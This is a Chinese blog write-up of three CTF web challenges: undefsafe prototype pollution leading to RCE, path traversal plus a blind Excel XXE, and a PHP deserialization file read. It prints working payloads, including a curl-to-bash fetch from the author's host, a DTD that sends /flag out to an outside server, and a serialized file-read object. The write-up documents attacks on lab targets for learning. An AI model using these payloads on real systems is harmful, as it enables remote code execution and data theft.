Author:颖奇L’Amore

Blog:www.gem-love.com

垃圾比赛,web题目放的非常晚,而且一个队伍只能开一个docker,非常不方便,web题做出来3个,另一个还没来得及看比赛结束了,如果环境持续开放并且能做出来的话再补上wp(更新:被队友做出来了,爷懒得努力了,等有时间再说吧)

比赛PY严重,随便玩玩就好了


一开始不知道主办方还收wp,就把wp放出来2个小时,然后好像传的还比较广,有一千多访问,无意搅屎 在这里道个歉


Notes (100pt)

考点:CVE-2019-10795 undefsafe原型链污染

给了源码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

代码比较简单,没学过node也能审计

undefsafe的原型链污染参考:

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

来到edit_note后post提交如下payload:

id=__proto__.abc&author=curl%20http://gem-love.com:12390/shell.txt|bash&raw=a

之后访问一下status,执行如下代码导致RCE:

.get(function(req, res) {
    let commands = {
        "script-1": "uptime",
        "script-2": "free -m"
    };
    for (let index in commands) {
        exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
            if (err) {
                return;
            }
            console.log(`stdout: ${stdout}`);
        });
    }
    res.send('OK');
    res.end();
})

反弹shell,在根目录得到flag:

 


filejava (46pt)

考点:Path Traversal、Arbitrary File Read、java class Decompile、Blind XXE

能上传,传完之后能下载:

看这个url,考虑有目录穿越可以下载任意文件,测试一下:

读取WEB-XML

/file_in_java/DownloadServlet?filename=../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

得到:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
  <display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>
  <servlet>
    <description></description>
    <display-name>UploadServlet</display-name>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>ListFileServlet</display-name>
    <servlet-name>ListFileServlet</servlet-name>
    <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>ListFileServlet</servlet-name>
    <url-pattern>/ListFileServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>DownloadServlet</display-name>
    <servlet-name>DownloadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译(我用的JD-GUI)得到源码:

(btw如果哪位大佬有mac上好用的java反编译软件麻烦留言告诉一下)

源码比较长就不贴了,主要是在UploadServlet.java中有如下代码:

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
  
  try {
    Workbook wb1 = WorkbookFactory.create(in);
    Sheet sheet = wb1.getSheetAt(0);
    System.out.println(sheet.getFirstRowNum());
  } catch (InvalidFormatException e) {
    System.err.println("poi-ooxml-3.10 has something wrong");
    e.printStackTrace();
  } 
}

这就比较明显了,考虑是Excel的xxe,和前段时间易霖博的web4那个word文档xxe类似,但是因为是blind,需要把结果打回我们的服务器,做法和hgame week4 代打出题人服务中心那个题目基本一样

先在[Content-Types].xml中引用外部dtd实体:

<!DOCTYPE y1ng [<!ENTITY % remote SYSTEM 'http://gem-love.com/y1ng.dtd'>%remote;]><y1ng/>

y1ng.dtd:

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://gem-love.com:12358/?q=%file;'>">
%int;
%send;

然后再给压缩回去,上传,flag就打回来了

有的人就要问了,既然知道flag在/flag,为啥不能直接用下载器目录穿越然后读取?是因为DownloadServlet中有过滤:

String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName != null && fileName.toLowerCase().contains("flag")) {
  request.setAttribute("message", "");
  request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
  
  return;
} 

AreUSerialz (14pt)

考点:反序列化

给了源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

代码比较简单不再过多解读,明显是要进行文件读取来读取flag。

主要需要绕过is_valid()函数,因为protected类型的属性的序列化字符串包含不可见字符\00,会被is_valid()函数给ban掉。

php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了(后来还有师傅说把\00改成空格也可以)

补充:后来我又想了一下,感觉本题考的应该不是这种黑魔法, 出题人应该是想让用S来代替s,在这种情况下\00就会被解析成%00(1个字符),而如果是小写s,\00就是一个斜线+2个零(3个字符)

另外还需要绕过析构方法:

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

因为在进行read()之前就会调用__destruct()魔术方法,如果$this->op === "2"就会设置$this->op"1",而"1"是不能调用read()来文件读取的。可以发现:

  • __destruct()方法内使用了严格相等$this->op === "2"
  • process()方法内使用了不严格相等else if ($this->op == "2")

所以这里使用弱类型2 == "2"绕过即可。

之后就是文件读取,但是读flag.php是读不到东西的,来读一下/etc/passwd可以读到,payload:

<?php
class FileHandler {

    public $op = 2;
    public $filename = "/etc/passwd";
    public $content = "y1ng";
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$a = new FileHandler();
$b = serialize($a);
echo $b."\n";
var_dump(is_valid($b));

因为读不到flag.php,用相对路径一直打不通,考虑使用绝对路径,但是/var/www和/var/www/html都没成功。所以本题目应该是要先找到Apache的工作目录,然后进行文件读取。但是常规路径的apache的配置文件等都通通没有找到

后来通过读取cmdline得到了配置文件:

注意这是两个路径,后面的/web/config/httpd.conf才是真正的路径,不要把两个路径拼在一起了

然后通过配置文件得到了路径,实际上直接观察配置文件的路径也能猜出网站根目录

之后读取flag即可:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:4:"y1ng";}

补充:

大部分人应该是直接相对路径读的,经过赛后测试,如果直接用上面的payload并只修改为相对路径,那么

$res = file_get_contents($this->filename);

就会失败并且返回false,所以直接读取是不可以的;但是只要修改一下序列化字符串,比如删掉个符号,改错长度等等,这个file_get_contents()便不再返回false(绝对路径也不返回false),也就能成功进行读取了,可以自行搭环境然后var_dump()

所以评论区也好还是私信,好多相对路径能读的,实际上可以去看看你们的序列化字符串,肯定哪里有点区别。

那么为啥会返回false,本地测试并且通过var_dump(scandir('.'));可知它执行完如果反序列化字符串没有异常就往前穿越到了根目录(至少我本机mac+nginx+php7.3环境是穿越到根目录),而根目录是没有flag.php的,所以读不出来。

为啥会穿越目录?这是析构方法的锅,请看官方Note:

https://www.php.net/manual/zh/language.oop5.decon.php

析构函数在脚本关闭时调用,此时所有的HTTP头信息已经发出。 脚本关闭时的工作目录有可能和在SAPI(如apache)中时不一样。 

这种问题在开发中也出现,请参考这篇文章给出的解决办法:

1、在__destruct 中使用绝对路径操作文件

2、__destruct 之前比如构造函数内,先获取 getcwd() 工作目录,然后在 __destruct 中使用 chdir($StrPath)  重新设定工作目录。

所以在做这个题目时候,我用了绝对路径而成功读取到了flag。

另外听说还有人根据刚启动容器的docker报错直接找到了docker源码,从源码里得到了根目录,这也太秀了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/websecurity/2322.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: WEB安全

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

5 条评论

leohearts · 2020年5月10日 18:28

反序列化那题我用相对路径就读到了,是后面改题了吗

肖越 · 2020年5月10日 18:48

文件名中直接+元封装器读成base64的 不用找目录

loecho · 2020年5月10日 19:14

php伪协议就可以读到flag了

    xxx · 2020年5月11日 20:10

    不需要伪协议,读出来的被注释了而已,f12就可以看到了

tari · 2020年5月15日 21:46

感谢,终于找到写的像样的wp了

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image